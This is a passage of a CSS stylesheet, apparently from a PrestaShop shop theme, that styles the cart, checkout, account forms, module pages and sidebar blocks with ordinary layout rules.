}*/ + +#order-detail-content {margin-bottom:20px} +/* +table#cart_summary th { + padding:14px 12px; + color:#fff; + font-weight:bold; + text-transform:uppercase; + text-shadow:0 1px 0 #666; + background:url(../img/bg_table_th.png) repeat-x 0 -15px #999 + +} +table#cart_summary th.cart_product {text-align:center} +table#cart_summary td { + padding:12px; + border-right:1px solid #e9e9e9; + border-bottom:1px solid #e9e9e9; + font-weight:bold; + font-size:12px; + vertical-align:top +} +table#cart_summary td.cart_delete, +table#cart_summary td.price_discount_del {border-right:none;text-align: center} +table#cart_summary .last_item td {border-bottom:1px solid #999} + + +table#cart_summary tr.cart_item.odd, +table#cart_summary tr.cart_total_delivery, +table#cart_summary tr.cart_total_price, +table#cart_summary tr.cart_total_voucher{ + background-color: #fff +} +table#cart_summary tr.cart_item.even { + background-color: #f3f3f3 +} +*/ +table#cart_summary tr.customization.odd { + background-color: #fff +} +table#cart_summary tr.customization.even { + background-color: #f3f3f3 +} + +table#cart_summary tr ul { + list-style: none; +} +table#cart_summary .cart_product { + width:80px; + text-align:center +} +table#cart_summary tbody tr:last-child td { + border-bottom: 1px solid #999; +} +table#cart_summary tbody tr td.cart_discount_delete { + padding-left: 34px; +} +table#cart_summary .cart_product img {border:1px solid #ccc} +table#cart_summary .cart_description { + width:230px; +} +table#cart_summary .cart_unit {width:130px;text-align: center} +table#cart_summary td.cart_unit {text-align: right} +table#cart_summary .cart_quantity {width:130px; text-align: center;} +table#cart_summary .customization .cart_quantity {padding: 8px 12px 0;} +.cart_quantity .cart_quantity_input { + float:left; + margin-left: 5px; + width: 20px; + border:1px solid #fff +} +.cart_quantity .cart_quantity_button { +} +table#cart_summary .cart_total {width:120px;text-align: center} +table#cart_summary td.cart_total {text-align: right} +table#cart_summary .price_discount_del, +table#cart_summary .cart_delete { + text-align:center +} +table#cart_summary .cart_discount_price {text-align: right} +.cart_delete a.cart_quantity_delete, +a.price_discount_delete { +} + +.cart_total_price .total_price_container { + border-right:none; +} + +table#cart_summary .cart_total_price td.cart_voucher { + border-bottom:1px solid #999; + vertical-align:middle +} + +table#cart_summary #total_price_container { + border:0; + font-size:14px; +} + + +.cart_voucher .title_block, .cart_voucher h4 +.cart_voucher p {float:left;} +.cart_voucher .title_block, .cart_voucher h4 { + margin-right:12px; + padding:5px 0; + font-size:13px +} +.cart_voucher p {padding-bottom:0;} + +.cart_voucher p.discount_name_block {float:left;} +.cart_voucher #display_cart_vouchers { + clear:both; + line-height: 20px; + color:#666; + padding-top:2px; + font-weight:normal; + border-top:1px dotted #ccc +} +.cart_voucher .title_offers { + margin-top:15px; + margin-bottom:5px +} +.cart_voucher #display_cart_vouchers span { + font-weight:bold; + cursor:pointer; +} +.cart_voucher input.discount_name { + padding:0 5px; + height:22px; + width:170px;/* 180 */ + border:1px solid #ccc; + font-weight:normal; + background:url(../img/bg_discount_name.png) repeat-x 0 0 #fff +} +.cart_voucher .submit input.button { + margin-left:2px; + padding:2px; + height:24px; + border:1px solid #000; + -moz-border-radius:0; + -webkit-border-radius:0; + border-radius:0; + color:#fff; + text-transform:uppercase; + background:url(../img/bg_cart_voucher_submit.png) repeat-x 0 0 #000 +} + +#cart_summary .price { + border-right:none; + text-align: right; + white-space: nowrap; +} +.total_price_container p {text-align: left} + +table#cart_summary .cart_total_price .total_price_container { + padding:0; + border-bottom:1px solid #999; + border-right:1px solid #999; +} +.cart_total_price .total_price_container p { + display:block; + padding:8px; + font-weight:bold; + color:#fff; + text-transform:uppercase; + background:#333 +} +.cart_total_price .total_price_container span { + display:block; + padding:15px; + font-weight:bold; + font-size:18px; + text-align:center +} + +#order_carrier { + clear:both; + margin-top:20px; + border:1px solid #999; + background:#fff +} +#order_carrier .title_block { + padding:0 15px; + height: 29px; + font-weight: bold; + line-height:29px; + color:#fff; + font-weight:bold; + text-transform:uppercase; + background:url(../img/bg_table_th.png) repeat-x 0 -10px #999 +} +#order_carrier span { + display:block; + padding:15px; + font-weight:bold +} + +.order_delivery .first_item {margin-right:35px;} + +.multishipping_close_container { + text-align: center; +} + +table#cart_summary .gift-icon { + color: white; + background: #0088CC; + line-height: 20px; + padding: 2px 5px; + border-radius: 5px; +} + +float:right +} + +.lost_password { + float:left; + width:200px +} +.lost_password a {color:#666} + +#order-opc .lost_password { + display:block; + float:none; + margin:5px 0 10px; + width:auto; + font-size:11px; + color:#666 +} + + +/* step 3 - address ************************************************************************** */ + +.address-form-multishipping { padding: 10px 0px; } +#multishipping_mode_box { + border: 1px solid #D0D3D8; + background: url("../img/form_bg.jpg") repeat-x scroll left top #D0D1D5; + margin-bottom: 10px; + padding: 5px; +} +#multishipping_mode_checkbox { + vertical-align: middle; + margin-right: 5px; +} +#multishipping_mode_box.on { + border: 1px solid #ddd; +} +#multishipping_mode_box .title { + padding: 5px; + font-weight: bold; +} +#multishipping_mode_box .description, #multishipping_mode_box .description_off { + padding: 5px; +} +#multishipping_mode_box .description_off { + display: none; + padding: 5px; +} +#multishipping_mode_box .description_off div { + margin-bottom: 10px; +} +#multishipping_mode_box .description_off a, #multishipping_mode_box .description a { + display: block; + text-align: center; + text-decoration: none; + padding: 5px 10px; + margin: 0 160px; + border: 1px solid #ccc; + background: #ddd; +} +#multishipping_mode_box .description_off a:hover, #multishipping_mode_box .description a:hover { + background: #f3f3f3; + border: 1px solid #ccc; +} +#multishipping_mode_box.on .description_off { + display: block; +} + + +/* step 4 - paiement ************************************************************************** */ +/* +.delivery_options { + border: 1px solid #BDC2C9; + border-top: 0; +}*/ + +#order .delivery_options_address h3, #order-opc .delivery_options_address h3 { +/*background: url("../img/table_header.gif") no-repeat; +color: #374853; +font-weight: bold; +height: 14px; +padding: 5px 10px; +margin: 10px 0 0 0;*/ + /*padding: 6px 11px; + font-size: 12px; + color: #fff; + text-transform: uppercase; + background: none repeat scroll 0 0 #383838;*/ +} +/* +#order .delivery_option_radio, #order-opc .delivery_option_radio { + float: left; + margin: 21px 12px; +} +#order .delivery_option label, #order-opc .delivery_option label { + display: block; + padding-bottom: 5px; + padding-top: 5px; +} +#order .delivery_option label > table.resume, #order-opc .delivery_option label > table.resume { + height: 46px; + width: 685px; +} +#order .delivery_option.item, #order-opc .delivery_option.item { + background: #fafafa; +} +#order .delivery_option.alternate_item, #order-opc .delivery_option.alternate_item { + border-top: 1px solid #bdc2c9; + background: #f1f2f4; + border-bottom: 1px solid #bdc2c9; +} +#order .delivery_option label > table.resume td, #order-opc .delivery_option label > table.resume td { + padding: 0 8px; +} +#order .delivery_option label > table.resume td + td, #order-opc .delivery_option label > table.resume td + td { + width: 300px; +} +#order .delivery_option label > table.resume td + td + td, #order-opc .delivery_option label > table.resume td + td + td { + width: 100px; + text-align: right; +} +#order .delivery_option_carrier td {width:200px} +#order .delivery_option_carrier td + td {width:280px;} +#order .delivery_option_carrier td + td + td {width:200px} +#order .delivery_options_address .delivery_option_logo, #order .delivery_option_carrier .delivery_option_logo, #order-opc .delivery_options_address .delivery_option_logo { + padding-left:10px; + width: 160px; +} +#order .delivery_options_address .delivery_option_logo img, #order-opc .delivery_options_address .delivery_option_logo img { } +#order .delivery_option_carrier .first_item, #order-opc .delivery_option_carrier .first_item { + padding: 3px 5px 3px 12px; + background:url(../img/arrow_right_2.png) no-repeat 3px 7px +} +*/ + +#carrierTable { + border:1px solid #999; + border-bottom:none; + background:#fff +} + +#carrierTable tbody{ + border-bottom:1px solid #999; +} +#carrierTable th { + padding:0 15px; + height: 29px; + font-weight: bold; + line-height:29px; + color:#fff; + text-transform:uppercase; + background:url(../img/bg_table_th.png) repeat-x 0 -10px #999 +} +#carrierTable td { + padding:15px; + font-weight:bold; + border-right:1px solid #e9e9e9 +} +#carrierTable td.carrier_price {border:none} + +#gift_div { + display:none; + padding-bottom:10px +} +#gift_div label { + display:block; + margin-bottom:5px +} +#gift_div #gift_message { + height:50px; + width:720px; + border:1px solid #999 +} + +a.iframe {font-weight:bold} + +.hook_extracarrier { + margin-top: 5px; + padding: 5px; +} + + + +/* ************************************************************************************************ + PAGE ORDER-OPC +************************************************************************************************ */ +#order-opc #left_column {display:none} + + +#order-opc h2 {} +#order-opc h2 span { + display:inline-block; + padding:5px 7px; + color:#fff; + background:#cccccc; +} + +#order-opc #login_form fieldset { + background: none repeat scroll 0 0 #FFFFE0; + border: 1px solid #E6DB55; + font-size: 13px; + margin: 0 0 10px; + padding: 10px; +} +#order-opc #login_form fieldset p {padding:0} +#order-opc #login_form fieldset p a {padding:0} + +#order-opc #new_account_form p.submit { + margin-right: 120px; + text-align:right +} +#order-opc #new_account_form p.opc-required {margin-left:20px} + +#order-opc .addresses {margin-bottom:20px} + +#order-opc #opc_delivery_methods h3 {margin-top:20px;} +#order-opc #opc_delivery_methods textarea { + height:60px; + width:723px; + border:1px solid #ccc +} +#order-opc #opc_delivery_methods #message { + width: 757px; +} +#order-opc #opc_payment_methods {margin-bottom:20px} +#order-opc #opc_payment_methods #opc_payment_methods-content p{margin:0} +/* +.delivery_option_carrier td {width:200px} +.delivery_option_carrier td + td {width:280px;} +.delivery_option_carrier td + td + td {width:200px} +.delivery_option_carrier { + margin: 5px 0 0 45px; + width: 670px; + display: none; +} + .delivery_option_carrier tr td { + padding: 5px; +} +.delivery_option_carrier.selected { + display: table; +} +.delivery_option_carrier.not-displayable { + display: none; +} +.delivery_option_title { + font-weight: bold; +} +*/ + +/* ************************************************************************************************ + express checkout +************************************************************************************************ */ +#new_account_form {clear:both;margin-bottom: 20px} +#new_account_form h3 { + margin-bottom:20px; + padding:8px; + border-bottom:1px solid #ccc; + font-weight:bold; + font-size:12px; + color:#fff; + text-transform:uppercase; + background:url(../img/bg_form_h3.png) repeat-x 0 0 #989898 +} +#center_column #new_account_form p { + margin:0; + padding:0 0 10px 0 +} +#new_account_form p.required {color:#222} +#new_account_form p.required sup {color:#990000} +#new_account_form p.radio span, +#new_account_form p.text label, +#new_account_form p.password label, +#new_account_form p.select label, +#new_account_form p.select span, +#new_account_form p.textarea label { + display: inline-block; + padding: 6px 15px; + width: 230px; + font-size: 14px; + text-align: right +} +#new_account_form p.radio label { + float:none; + padding-right:10px; + width:auto; + font-size:14px; +} +#new_account_form p.checkbox label { + float: none; + width: auto; + font-size: 12px; +} +#new_account_form p.text input, +#new_account_form p.password input, +#new_account_form p.select input { + height:22px; + padding:0 5px; + width:360px; + border:1px solid #ccc; + font-size:12px; + color:#666 +} +#new_account_form p.checkbox input {margin-left: 260px;} + +#new_account_form #submitGuestAccount {float: right} + +/* ************************************************************************************************ */ + +/* ************************************************************************************************ + paiment - CONFIRMATION +************************************************************************************************ */ +#orderconfirmation #left_column {display:none} + + +/* ************************************************************************************************ + PAGE PASSWORD +************************************************************************************************ */ +#form_forgotpassword fieldset { + padding: 10px; + -moz-border-radius: 3px; + -webkit-border-radius: 3px; + border-radius: 3px; + background: #eee +} +#form_forgotpassword p.text label { + display: inline-block; + padding-right: 10px; + width: 174px; + font-weight: bold; + font-size: 12px; + text-align: right +} +#form_forgotpassword p.text input { + padding: 0 5px; + height: 20px; + width: 288px; + border: 1px solid #ccc; + background: url(../img/bg_input.png) repeat-x 0 0 #fff +} +#form_forgotpassword p.submit { + margin-right:25px; + padding-bottom:5px; + text-align:right +} + +#password .icon { + position:relative; + top:6px; +} + + +/* ************************************************************************************************ + PAGE ADRESSES +************************************************************************************************ */ +#addresses #left_column {display:none} + +#address p.inline-infos { + margin:0 0 0 265px !important; + font-size:12px; + color:#666; +} + + +/* ************************************************************************************************ + PAGE ADD ADRESS +************************************************************************************************ +#address #left_column {display:none} + +form#add_address {} +#add_address fieldset { + margin:0; + border:1px solid #ccc; + background:#F8F8F8 +} +#add_address h3 { + margin:0 0 15px 0; + padding:8px; + font-size:14px; + color:#fff; + text-transform:uppercase; + background:url(../img/bg_form_h3.png) repeat-x 0 0 #989898 +} +#center_column #add_address p {margin:0; padding:0 0 10px 0} +#add_address p.required {color:#222} +#add_address p.required sup {color:#990000} + +#add_address p.text label, +#add_address p.password label, +#add_address p.select label, +#add_address p.select span, +#add_address p.textarea label { + display:inline-block; + padding:6px 15px; + width:230px; + font-size:14px; + text-align:right +} +#add_address p.text input, +#add_address p.password input, +#add_address p.select input { + padding:0 5px; + height:22px; + width:360px; + border:1px solid #ccc; + font-size: 12px; + color:#666; + line-height:22px +} +#add_address p.checkbox input { + margin-left:260px; +} +#add_address p.select select { + margin-right:10px; + border:1px solid #ccc; + font-size: 12px; + color:#666 +} +#add_address p.textarea label {vertical-align:top} +#add_address p.textarea textarea { + height:80px; + width:370px; + border:1px solid #ccc; + font-size: 12px; + color:#666 +} +#center_column #add_address p.submit2 { + margin-top:20px; + text-align:right +} + +#add_address span.form_info, +#add_address span.inline-infos { + display:block; + margin:5px 0 0 265px; + color:#666 +}*/ + + +/* ************************************************************************************************ + PAGE ORDER-SPLIP +************************************************************************************************ */ +#order-slip #left_column {display:none} + +#order-slip #order-list {border-bottom:1px solid #999} +#order-slip #order-list td { + border-top: 1px solid #ccc; + border-bottom:none +} +#order-slip #order-list td.history_invoice {border-right:none} + + +/* ************************************************************************************************ + PAGE DISCOUNT +************************************************************************************************ */ +#discount #left_column {display:none} + +#discount .table_block tr.last_item td {border-bottom:1px solid #999} +#discount .table_block td.discount_expiration_date {border-right:1px solid #999} +#discount .table_block td.discount_value {white-space:nowrap} + + +/* ************************************************************************************************ + PAGE ORDER FOLLOW +************************************************************************************************ */ +#order-follow #left_column {display:none} + + +/* ************************************************************************************************ + PAGE NEW-PRODUCTS +************************************************************************************************ */ +#newproducts .sortPagiBar {margin-bottom:20px} + + +/* ************************************************************************************************ + PAGE BEST SALES +************************************************************************************************ */ +#bestsales .sortPagiBar {margin-bottom:20px} + +/* ************************************************************************************************ + PAGE PRICES DROP SALES +************************************************************************************************ */ +#pricesdrop .sortPagiBar {margin-bottom:20px} + + +/* ************************************************************************************************ + PAGE MANUFACTURER +************************************************************************************************ */ +#manufacturer .nbrmanufacturer { + margin: 15px 0 10px; + padding: 8px 7px; + font-size:12px; + color: #000; + background: none repeat scroll 0 0 #f0f0f0 +} + +#manufacturer #product_list {margin-top:15px} + +ul#manufacturers_list {list-style-type:none} +ul#manufacturers_list li { + margin-bottom: 14px; + padding: 12px 8px; + border: 1px solid #eee; + -moz-border-radius: 3px; + -webkit-border-radius: 3px; + border-radius:3px; +} +ul#manufacturers_list li a.lnk_img { + display: block; + float: left; +} +ul#manufacturers_list li img { + display: block; + float: left; + margin-right: 14px; + border: 1px solid #ccc; + vertical-align: bottom +} +ul#manufacturers_list li h3 { + padding: 0 0 10px; + font-size: 13px; + color: #000 +} +ul#manufacturers_list li .description { + overflow: hidden; + padding: 0; + font-size:12px; + color:#666 +} +ul#manufacturers_list li .right_side {float:right;} + +.description_box { + border: 1px solid #CCCCCC; + border-radius: 3px 3px 3px 3px; + box-shadow: 0 1px 1px #E2E2E2; + padding: 5px; + margin-bottom: 20px; + font-size: 12px; + line-height: 18px; +} +.description_box p { + margin: 0; + padding: 0 10px 5px; +} +.description_box .hide_desc { + display: none; +} +.description_box .lnk_more { + background: url("../img/arrow_right_1.png") no-repeat scroll 100% 4px transparent; + color: #0088CC; + padding: 0 10px; +} +.description_box ul { + padding-left: 30px; + padding-bottom: 10px; +} + +/* ************************************************************************************************ + PAGE SUPPLIER +************************************************************************************************ */ +#supplier .nbrmanufacturer { + margin: 15px 0 10px; + padding: 8px 7px; + font-size:12px; + color: #000; + background: none repeat scroll 0 0 #f0f0f0 +} +ul#suppliers_list {list-style-type:none} +ul#suppliers_list li { + margin-bottom: 14px; + padding: 12px 8px; + border: 1px solid #eee; + -moz-border-radius: 3px; + -webkit-border-radius: 3px; + border-radius:3px; +} +ul#suppliers_list li a.lnk_img { + display: block; + float: left; +} +ul#suppliers_list li img { + display: block; + float: left; + margin-right: 14px; + border: 1px solid #ccc; + vertical-align: bottom +} +ul#suppliers_list li h3 { + padding: 0 0 10px; + font-size: 13px; + color: #000 +} +ul#suppliers_list li .description { + overflow: hidden; + padding: 0; + font-size:12px; + color:#666 +} +ul#suppliers_list li .right_side {float:right;} + + +/* ************************************************************************************************ + PAGE SEARCH +************************************************************************************************ */ +#search h3.nbresult { + margin:0 0 10px 0; + padding:10px; + border:1px solid #e6db55; + font-size:13px; + background:#ffffe0 +} +#search .sortPagiBar {margin-bottom:20px} + + +/* ************************************************************************************************ + PAGE 404 +************************************************************************************************ */ +#pagenotfound #left_column, +#pagenotfound #right_column, +#pagenotfound #footer {display:none} + +#pagenotfound #left_column, +#pagenotfound #right_column, +#pagenotfound #footer {display:none} + +#pagenotfound #center_column {width:940px;} + +#pagenotfound .pagenotfound { + padding:30px 300px 0 0; + height:330px; + font-size:14px; + background:url(../img/bg_404.png) no-repeat 100% 0 +} +#pagenotfound h3 { + font-weight:normal; + font-size:14px +} +#pagenotfound fieldset {border:none} +#pagenotfound fieldset label {color:#333} +#pagenotfound #search_query { + -moz-border-bottom-colors: none; + -moz-border-image: none; + -moz-border-left-colors: none; + -moz-border-right-colors: none; + -moz-border-top-colors: none; + border-bottom: 1px solid #666; + border-left: 1px solid #666; + border-right: 1px solid #fff !important; + border-top: 1px solid #666; + padding: 0 5px; + height: 24px; + width: 200px; + color: #ccc; + background: url(../../../modules/blocksearch/img/bg_search_input.png) repeat-x scroll 0 0 #fff +} +#pagenotfound .button_small { + padding: 4px 7px; + border: medium none; + -moz-border-radius:0; + -webkit-border-radius:0; + border-radius:0; + color: #fff; + text-transform: uppercase; + background: url("../../../modules/blocksearch/img/bg_search_submit.png") repeat-x scroll 0 0 #101010 +} +#pagenotfound .pagenotfound a { + font-weight:bold; + color:#333 +} +#pagenotfound .pagenotfound .icon { + position:relative; + top:3px +} + + +/* ************************************************************************************************ + addons payment cheque +************************************************************************************************ */ +#module-cheque-payment #left_column {display:none} + + +/* ************************************************************************************************ + addons payment bankwire +************************************************************************************************ */ +#module-bankwire-payment #left_column {display:none} + + +/* ************************************************************************************************ + addons google checkout +************************************************************************************************ */ +#module-gcheckout-payment #left_column {display:none} + +/* ************************************************************************************************ + addons paypal +************************************************************************************************ */ +#module-payment-submit #left_column {display:none} + + +/* ************************************************************************************************ + addons cashondelivery validation +************************************************************************************************ */ +#module-cashondelivery-validation #left_column {display:none} + + +/* ************************************************************************************************ + addon RerversoForm +************************************************************************************************ */ +#account-creation_form fieldset.reversoform {padding:10px !important} +#account-creation_form fieldset.reversoform .text label{ + display:block; + padding:0 0 10px 0; + width:100%; + text-align:left; +} +#account-creation_form fieldset.reversoform .infos-sup { + padding:0 !important; + font-size:10px; + font-style:italic; + text-align:right +} +/* ************************************************************************************************ + addon customer privacy +************************************************************************************************ */ +#account-creation_form fieldset.customerprivacy label, fieldset.customerprivacy label{ + padding-bottom:0; + font-size:14px; + text-align:left; + cursor:pointer +} + +/* ************************************************************************************************ + addon referralprogram +************************************************************************************************ */ +#module-referralprogram-referralprogram-program #left_column {display:none} + +#footer .myaccount li.referralprogram img {display:none} + +#module-referralprogram-referralprogram-program .sheets {padding-top:10px} + +#module-referralprogram-referralprogram-program form p.checkbox {font-weight:bold} +#module-referralprogram-referralprogram-program form p.checkbox a {text-decoration:underline} +#module-referralprogram-referralprogram-program form p.submit {text-align:right} +#module-referralprogram-referralprogram-program form p.see_email { + padding-left:10px; + color: #0088cc; + background:url(../img/arrow_right_1.png) no-repeat 0 4px; +} +#module-referralprogram-referralprogram-program form p.see_email a { + color: #0088cc; + text-decoration:underline +} + +/* ************************************************************************************************ + addon loyalty +************************************************************************************************ */ +#module-loyalty-default #left_column {display:none} + +#product p#loyalty { + padding:10px 0 0 20px; + border-top:1px solid #ccc; + background:url(../img/icon/info.png) no-repeat 0 8px; + margin-top: 10px; +} + +#footer .myaccount li.loyalty img {display:none} + + +/* ************************************************************************************************ + addon Livezilla +************************************************************************************************ */ +#livezilla_lnk { + margin:10px 0; + text-align: right +} +#livezilla_lnk a { + display:inline-block; + padding:6px 8px 8px 8px; + -moz-border-radius:3px; + -webkit-border-radius:3px; + border-radius:3px; + font:bold 10px Arial,Verdana,sans-serif; + color:#fff; + background: url(../img/bg_bt_compare.gif) repeat-x scroll 0 0 #000 +} +#livezilla_lnk a:hover {text-decoration:none} + +/* ************************************************************************************************ + addons comments products +************************************************************************************************ */ +form#sendComment fieldset{ + padding:10px; + border:1px solid #ccc; + background:#eee +} +form#sendComment h3 {font-size:14px;} +#new_comment_form p.text { + margin-bottom: 0; + padding-bottom: 0; +} +#sendComment p.text label, +#sendComment p.textarea label { + display: block; + margin: 12px 0 4px; + font-weight: bold; + font-size: 12px; +} +#sendComment p.text input { + padding: 0 5px; + height: 28px; + width: 498px; + border: 1px solid #ccc; + background: url(../img/bg_input.png) repeat-x 0 0 #fff; +} +#sendComment p.textarea textarea { + height:80px; +} +#sendComment p.submit { + padding:0; + text-align:right +} + +#sendComment p.closeform { + float:right; + padding:0; + height:12px; + width:12px; + text-indent:-5000px; + background:url(../img/icon/delete.gif) no-repeat 0 0 +} + +.star { + position: relative; + top:2px; + float: left; + height: 12px; + width: 12px; + overflow: hidden; + text-indent: -999em; + cursor: pointer +} +.star, .star a { background: url(../img/star.png) no-repeat 0 0 } +div.star_on a { background-position: 0 bottom } +div.star_hover a, div.star a:hover { background-position: 0 bottom } + + +/* ************************************************************************************************ + xxxxx +************************************************************************************************ */ + + +/* ************************************************************************************************ + guest tracking +************************************************************************************************ */ + +#guest-tracking fieldset p:first-child { + padding-top: 10px; +} +#guest-tracking fieldset p:last-child { + padding-bottom: 10px; +} + + + +/* ************************************************************************************************ + CSS Modules +************************************************************************************************ */ + +/******* IMPORTANT - Internet Explorer can read 31 CSS files max. Some CSS have been put here and erased from their own module folder.************/ + +/*************** Block ADVERTISING ***************/ +.advertising_block { width: 191px; margin-bottom: 1em; text-align: center } + + + +/*************** Block CATEGORIES ***************/ +#categories_block_left li {border-bottom:1px dotted #ccc} + #categories_block_left li.last { border:none;} + #categories_block_left li a { + display:block; + padding:7px 11px 5px 22px; + color:#cccccc; + background:url(../../../modules/blockcategories/img/arrow_right_2.png) no-repeat 10px 10px transparent + } + + #categories_block_left li ul {margin-left:40px} + #categories_block_left li ul li {border:none} + #categories_block_left li ul li a { + padding-left:0; + background:none + } + +#categories_block_left li .OPEN, +#categories_block_left li .CLOSE { + display:block; + float:right; + margin:10px 10px 0; + height:9px; + width:9px; + background:url(../../../modules/blockcategories/img/icon/open-close.png) no-repeat 0 -9px; + cursor:pointer +} +#categories_block_left li .CLOSE {background-position:0 0} + + +/* footer */ +.blockcategories_footer { + padding:15px 10px; +} +.blockcategories_footer .category_footer {float:left;clear:none;} +.blockcategories_footer .category_footer .list{float:left;} +.blockcategories_footer ul ul {display:none !important} + + + +/*************** Block CMS ***************/ +/* footer */ +#footer .block_various_links {padding:15px 10px;} + +/* Block CMS links */ +.informations_block_left li {border-bottom:1px dotted #eee} +.informations_block_left li.last {border:none;} +.informations_block_left li a { + display:block; + padding:7px 11px 5px 22px; + color:#cccccc; + background:url(../../../modules/blockcms/img/arrow_right_2.png) no-repeat 10px 10px transparent; +} + +tr.subitem > td:first-child + td { + padding-left: 10px; +} + + + +/*************** Block CONTACTINFOS ***************/ + +#block_contact_infos {padding:15px 10px;} +#block_contact_infos li { + padding:0 !important; + line-height: 20px; +} +#block_contact_infos li strong { + font-weight:normal; + font-size:13px; +} +#block_contact_infos li pre {font: 11px/20px Arial,Verdana,sans-serif;} + + + +/*************** Block LINK ***************/ +#links_block_left .block_content li {border-bottom:1px dotted #eee} +#links_block_left .block_contentt li.last {border:none;} +#links_block_left .block_content li a { + display:block; + padding:7px 11px 5px 22px; + color:#cccccc; + background:url(../../../modules/blocklink/img/arrow_right_2.png) no-repeat 10px 10px transparent; +} + + + +/*************** Block MANUFACTURER ***************/ +.blockmanufacturer li {border-bottom:1px dotted #ccc} +.blockmanufacturer li.last { border:none;} + .blockmanufacturer li a { + display:block; + padding:7px 11px 5px 22px; + color:#cccccc; + background:url(../../../modules/blockmanufacturer/img/arrow_right_2.png) no-repeat 10px 10px transparent + } + + +.blockmanufacturer form {margin-top:10px;} +.blockmanufacturer p { + padding:0; + text-align:center +} + +/*************** Block LOGO PAYMENT ***************/ + +.paiement_logo_block { width: 191px; text-align: center; margin-bottom: 1.5em } +.paiement_logo_block a { text-decoration: none } +.paiement_logo_block img { margin: 0 0.5em } + + + +/*************** Block RSS ***************/ +#rss_block_left p { + margin:0; + padding:10px; +} + +#rss_block_left li {border-bottom:1px dotted #ccc} +#rss_block_left li.last { border:none;} + #rss_block_left li a { + display:block; + padding:7px 11px 5px 22px; + color:#cccccc; + background:url(../../../modules/blockrss/img/arrow_right_2.png) no-repeat 10px 10px transparent + } + + +/*************** Block SOCIAL ***************/ +/* +#social_block {padding:15px 10px;} +#social_block li {padding-left:22px !important;} +#social_block li.facebook {background:url(../../../modules/blocksocial/img/sprite_pict_social_block.png) no-repeat 0 6px;} +#social_block li.twitter {background:url(../../../modules/blocksocial/img/sprite_pict_social_block.png) no-repeat 0 -26px;} +#social_block li.rss {background:url(../../../modules/blocksocial/img/sprite_pict_social_block.png) no-repeat 0 -56px;}*/ + + +/*************** Block STORE ***************/ +.blockstore img { margin: 10px 0 0 0} +.blockstore p { + padding-bottom:0; + font-weight:bold; + text-align: right +} +.blockstore p.store_image { + padding-bottom:10px; + text-align:center +} + + +/*************** Block SUPPLIER ***************/ +.blocksupplier li {border-bottom:1px dotted #ccc} +.blocksupplier li.last { border:none;} + .blocksupplier li a { + display:block; + padding:7px 11px 5px 22px; + color:#cccccc; + background:url(../../../modules/blocksupplier/img/arrow_right_2.png) no-repeat 10px 10px transparent + } + +.blocksupplier form {margin-top:10px;} +.blocksupplier p { + padding:0; + text-align:center +} + +.ie7 #featured-products_block_center .product_image span.new {top:110px;right:0;width:94%} +.ie8 #featured-products_block_center .product_image span.new{top:110px;right:0;width:94%} +.lt-ie6 #featured-products_block_center .product_image span.new {top:110px;right:0;width:94%} +#homeslider li{position:relative;} +.homeTxt{ + position:absolute; + top:80px; + left:160px; + width:336px; + height:250px; + background:url('../img/homeTxt.png') no-repeat 0 0; + padding:40px 62px 40px 65px; +} +.homeTxt a, +.homeTxt span{ + color:#000000; + display:block; + text-align:center; +} +.homeTxt .bloc1{ + height:90px; +} +.homeTxt .title{ + text-transform:uppercase; + font-size:39px; + line-height:39px; + font-family:Times New Roman; +} +.homeTxt .subtitle{ + font-size:25px; + line-height:25px; + font-family:Times New Roman; +} +.homeTxt .description{ + text-transform:uppercase; + font-size:10px; + font-family:Times New Roman; + padding:0 40px 14px; + line-height:18px; +} +.homeTxt a.legende{ + width:338px; + height:36px; + line-height:36px; + background:url('../img/homeTxtA.png') no-repeat 0 0; + margin:0 auto; + display:block; + font-size:12px; + color:#000000; + text-transform:uppercase; +} +.homeTxt a.legende:hover{ + text-decoration:none; + background:url('../img/homeTxtA.png') no-repeat 0 -36px; +} +div#fancybox-wrap, +div.fancybox-bg{background:none!important;} + +p.success_inline{color:#b9da1a;} +p.warning_inline{color:#ff0000;} + +#page .borderGreen{ + padding:16px 20px 20px; + border-top:7px solid #b9da1a; + background:#ffffff; + float:left; + width:612px; + min-height:380px; +} +#faq #page .borderGreen { + width:auto; + float:none; +} +#page .borderGreen h1{ + color:#000000; + font-size:30px; + line-height:30px; +} +.leftCol{ + float:left; + width:207px; + padding:0 35px 0 0; +} +.leftCol h2{ + font-size:11px; + font-weight:bold; + color:#000000; + padding:0; + font-family:Arial,Sans-Serif; + line-height:17px; +} +.leftCol p{ + font-size:11px; + line-height:17px; + font-weight:normal; + color:#666666; + font-family:Arial,Sans-Serif; +} +.centerCol{ + float:left; + width:370px; +} +.clear{clear:both;} + +#page .tiroir h3{background:url('../img/fondH3.png') repeat-x 0 0;border:1px solid #d9d9d9;line-height:30px;height:30px; padding:0;margin:0 0 10px;cursor:pointer;} +#page .tiroir h3 span{cursor:pointer;display:block;color:#92af06;line-height:30px;height:30px;font-size:16px;font-weight:bold;padding:0 12px 0 32px;display:block;font-family:Times New Roman;background:url('../img/moreless.png') no-repeat 8px -76px;} +#page .tiroir.open h3 span{background:url('../img/moreless.png') no-repeat 9px 13px;} +#page .tiroir div.texte{padding:10px 0;color:#000000;font-size:12px;} +#philosophie .borderGreen {width: 612px} +#philosophie .leftCol {display: none;} +#philosophie .centerCol {width:100%;} +#philosophie .tiroir {margin-bottom: 10px;} +#philosophie .tiroir h3 {border: 0; background: #b9da1a; color: #000000; font-size: 18px; height: 33px; line-height: 33px; text-align: center; text-transform: uppercase } +#philosophie .tiroir.open h3 span { background: none; } +#philosophie .tiroir h3 span {background: none; color: #000000; font-size: 18px; height: 33px; line-height: 33px; font-weight: normal; } +#philosophie .tiroir div.texte {border: 0; color: #000000;font-size: 12px;padding: 5px 5px 0;} +#philosophie .article {border-top: 7px solid #b9da1a;} +#philosophie .article .image {position: relative;} +#philosophie .article .image img {display: block;height: auto;width: 100%;} +#philosophie .article h4 {text-align: left; background: none repeat scroll 0 0 rgba(255, 255, 255, 0.6);bottom: 0;box-sizing: border-box;-moz-box-sizing: border-box;-ms-box-sizing: border-box;-o-box-sizing: border-box;-webkit-box-sizing: border-box;color: #000;font-family: Times new roman,serif;font-size: 26px;font-style: italic;left: 0;line-height: 26px;padding: 20px 86px;position: absolute;text-transform: none;width: 100%;} +#philosophie .display_date {background: url("../../../themes/default/img/bg_star.png") no-repeat scroll center center transparent;box-sizing: border-box;-moz-box-sizing: border-box;-ms-box-sizing: border-box;-o-box-sizing: border-box;-webkit-box-sizing: border-box;display: block;font-size: 25px;height: 113px;left: -56px;line-height: 25px;padding: 43px 0;position: absolute;text-align: center;top: -57px;width: 113px;} +#philosophie .article .content { box-sizing: border-box;-moz-box-sizing: border-box;-ms-box-sizing: 